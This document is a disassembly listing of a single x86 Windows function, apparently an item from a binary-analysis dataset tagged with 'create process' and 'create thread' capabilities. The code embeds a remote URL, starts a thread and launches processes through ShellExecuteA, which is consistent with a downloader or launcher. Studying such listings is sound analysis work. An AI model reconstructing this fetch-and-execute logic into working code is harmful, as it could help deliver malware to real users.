Function at 0x401540
Capabilities:
Create process on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
lea eax, [ebp - 8]
mov dword [ebp - 0x29c], eax
lea eax, [ebp - 0x2bc]
mov dword [ebp - 0x294], esp
mov dword [esp], eax
mov dword [ebp - 0x2a4], 0x41caa0
mov dword [ebp - 0x2a0], 0x41d0d6
mov dword [ebp - 0x298], 0x401ca2
call fcn.00418ac0
mov dword [esp], 0
mov dword [ebp - 0x2b8], 0xffffffff
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [0x425008], eax
lea eax, [ebp - 9]
mov dword [esp], eax
call fcn.00404170
lea eax, [ebp - 0xa]
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xe
call fcn.00403e90
lea eax, [ebp - 0x18]
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xd
call fcn.00402020
mov eax, dword [ebp - 0x14]
sub esp, 4
test eax, eax
je 0x401a80
mov dword [ebp - 0x2c0], 1
cmp byte [eax], 0
je 0x40183a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [esp + 4], str.135752412
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xc
call fcn.00402d30
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [esp + 4], str.http:__forces.live_file.ru_get_xml_file_id
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xb
call fcn.00402d30
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [esp + 4], 0x422b00
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xa
call fcn.00402d30
lea eax, [ebp - 0x30]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 8], eax
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd4]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 9
call fcn.00409a30
mov edx, dword [ebp - 0xa0]
lea eax, [ebp - 0xa]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 8
mov dword [ebp - 0x2c4], edx
call fcn.00403b90
mov edx, dword [ebp - 0x2c4]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00403db0
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x4016fc
cmp byte [eax], 0
jne 0x401882
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0x422b01
mov dword [esp + 4], 0x422b08
mov dword [esp], 0
mov dword [ebp - 0x2b8], 8
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [ebp - 0x2c0], 1
mov eax, dword [ebp - 0x6c]
test eax, eax
je 0x401746
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x401755
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x7c]
test eax, eax
je 0x401764
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x90]
test eax, eax
je 0x401776
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x98]
test eax, eax
je 0x401788
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x40179a
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xa8]
test eax, eax
je 0x4017ac
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xb0]
test eax, eax
je 0x4017be
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xb8]
test eax, eax
je 0x4017d0
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xc0]
test eax, eax
je 0x4017e2
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xc8]
test eax, eax
je 0x4017f4
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xd0]
test eax, eax
je 0x401806
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x401815
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x401824
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x401833
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x401842
mov dword [esp], eax
call fcn.0041bd20
lea eax, [ebp - 0xa]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xe
call fcn.00403d60
lea eax, [ebp - 9]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 0xffffffff
call fcn.00404180
lea eax, [ebp - 0x2bc]
mov dword [esp], eax
call fcn.00418a60
mov eax, dword [ebp - 0x2c0]
leave
ret
mov dword [esp + 4], 0x3f
mov dword [esp], eax
mov dword [ebp - 0x2b8], 8
call fcn.00402640
test eax, eax
jne 0x4016fc
lea eax, [ebp - 0x78]
mov dword [esp + 4], eax
lea eax, [ebp - 0x64]
mov byte [ebp - 0x2ca], 0
mov dword [esp], eax
mov dword [ebp - 0x2b8], 7
call fcn.0040a6d0
cmp byte [ebp - 0x54], 0
mov byte [ebp - 0x2ca], 1
jne 0x4018fa
lea eax, [ebp - 0xd4]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 7
call fcn.00404240
test al, al
mov dword [ebp - 0x2c8], 0
je 0x401904
mov dword [ebp - 0x2c8], 1
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x401913
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0x60]
test eax, eax
je 0x401922
mov dword [esp], eax
call fcn.0041bd20
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [esp + 4], eax
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 8
call fcn.00402d30
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40de50
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [ebp - 0x2b8], 6
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
lea eax, [ebp - 0xd4]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c8]
mov dword [esp + 8], eax
mov eax, dword [0x425008]
mov dword [esp + 4], eax
lea eax, [ebp - 0x288]
mov dword [esp], eax
call fcn.00410900
lea eax, [ebp - 0x288]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 5
call fcn.0040e780
cmp eax, 2
mov dword [ebp - 0x2c0], 1
je 0x401a4d
cmp eax, 0x101
je 0x401b42
jg 0x401ae0
cmp eax, 0x100
je 0x401bc0
mov byte [ebp - 0x2c9], 0
lea eax, [ebp - 0x288]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 5
call fcn.0040ef60
cmp byte [ebp - 0x2c9], 0
je 0x401b02
cmp byte [ebp - 0x84], 0
je 0x401a90
lea eax, [ebp - 0x80]
mov dword [esp], eax
call fcn.00401340
mov dword [ebp - 0x2c0], 0
lea eax, [ebp - 0x288]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 6
call fcn.0041a890
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x401737
mov dword [esp], eax
call fcn.0041bd20
jmp 0x401737
mov dword [ebp - 0x2c0], 1
jmp 0x401842
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [esp + 4], 0x422b00
mov dword [esp], eax
mov dword [ebp - 0x2b8], 5
call fcn.00402d30
lea eax, [ebp - 0x50]
mov dword [esp], eax
mov dword [ebp - 0x2b8], 1
call fcn.00401340
lea eax, [ebp - 0x50]
mov dword [esp], eax
call fcn.0041a790
jmp 0x401a43
cmp eax, 0x102
je 0x401c10
cmp eax, 0x103
mov byte [ebp - 0x2c9], 1
jne 0x401a03
jmp 0x401a0a
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0x422b33
mov dword [esp + 4], 0x422b3d
mov dword [esp], 0
mov dword [ebp - 0x2b8], 5
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [ebp - 0x2c0], 0
jmp 0x401a4d
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x288]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [ebp - 0x2b8], 5
call fcn.0040efe0
mov eax, dword [ebp - 0x3c]
sub esp, 4
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0x422b00
mov dword [esp + 0xc], 0x422b00
mov dword [esp + 8], eax
mov dword [esp + 4], 0x422b25
mov dword [esp], 0
mov dword [ebp - 0x2b8], 4
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0041a790
mov byte [ebp - 0x2c9], 1
jmp 0x401a0a
mov eax, dword [ebp - 0xc8]
mov dword [esp + 0x14], 0xa
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0x422b25
mov dword [esp], 0
mov dword [ebp - 0x2b8], 5
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov byte [ebp - 0x2c9], 1
jmp 0x401a0a
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x288]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [ebp - 0x2b8], 5
call fcn.0040efe0
sub esp, 4
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x48]
mov dword [esp + 8], 1
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [ebp - 0x2b8], 3
call fcn.004022f0
sub esp, 4
lea eax, [ebp - 0x48]
mov dword [esp], eax
call fcn.0041a790
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], 5
mov dword [esp + 8], str.explorer
mov dword [esp + 4], 0x422b25
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp], 0
mov dword [ebp - 0x2b8], 2
call sub.SHELL32.DLL_ShellExecuteA
jmp 0x401ba1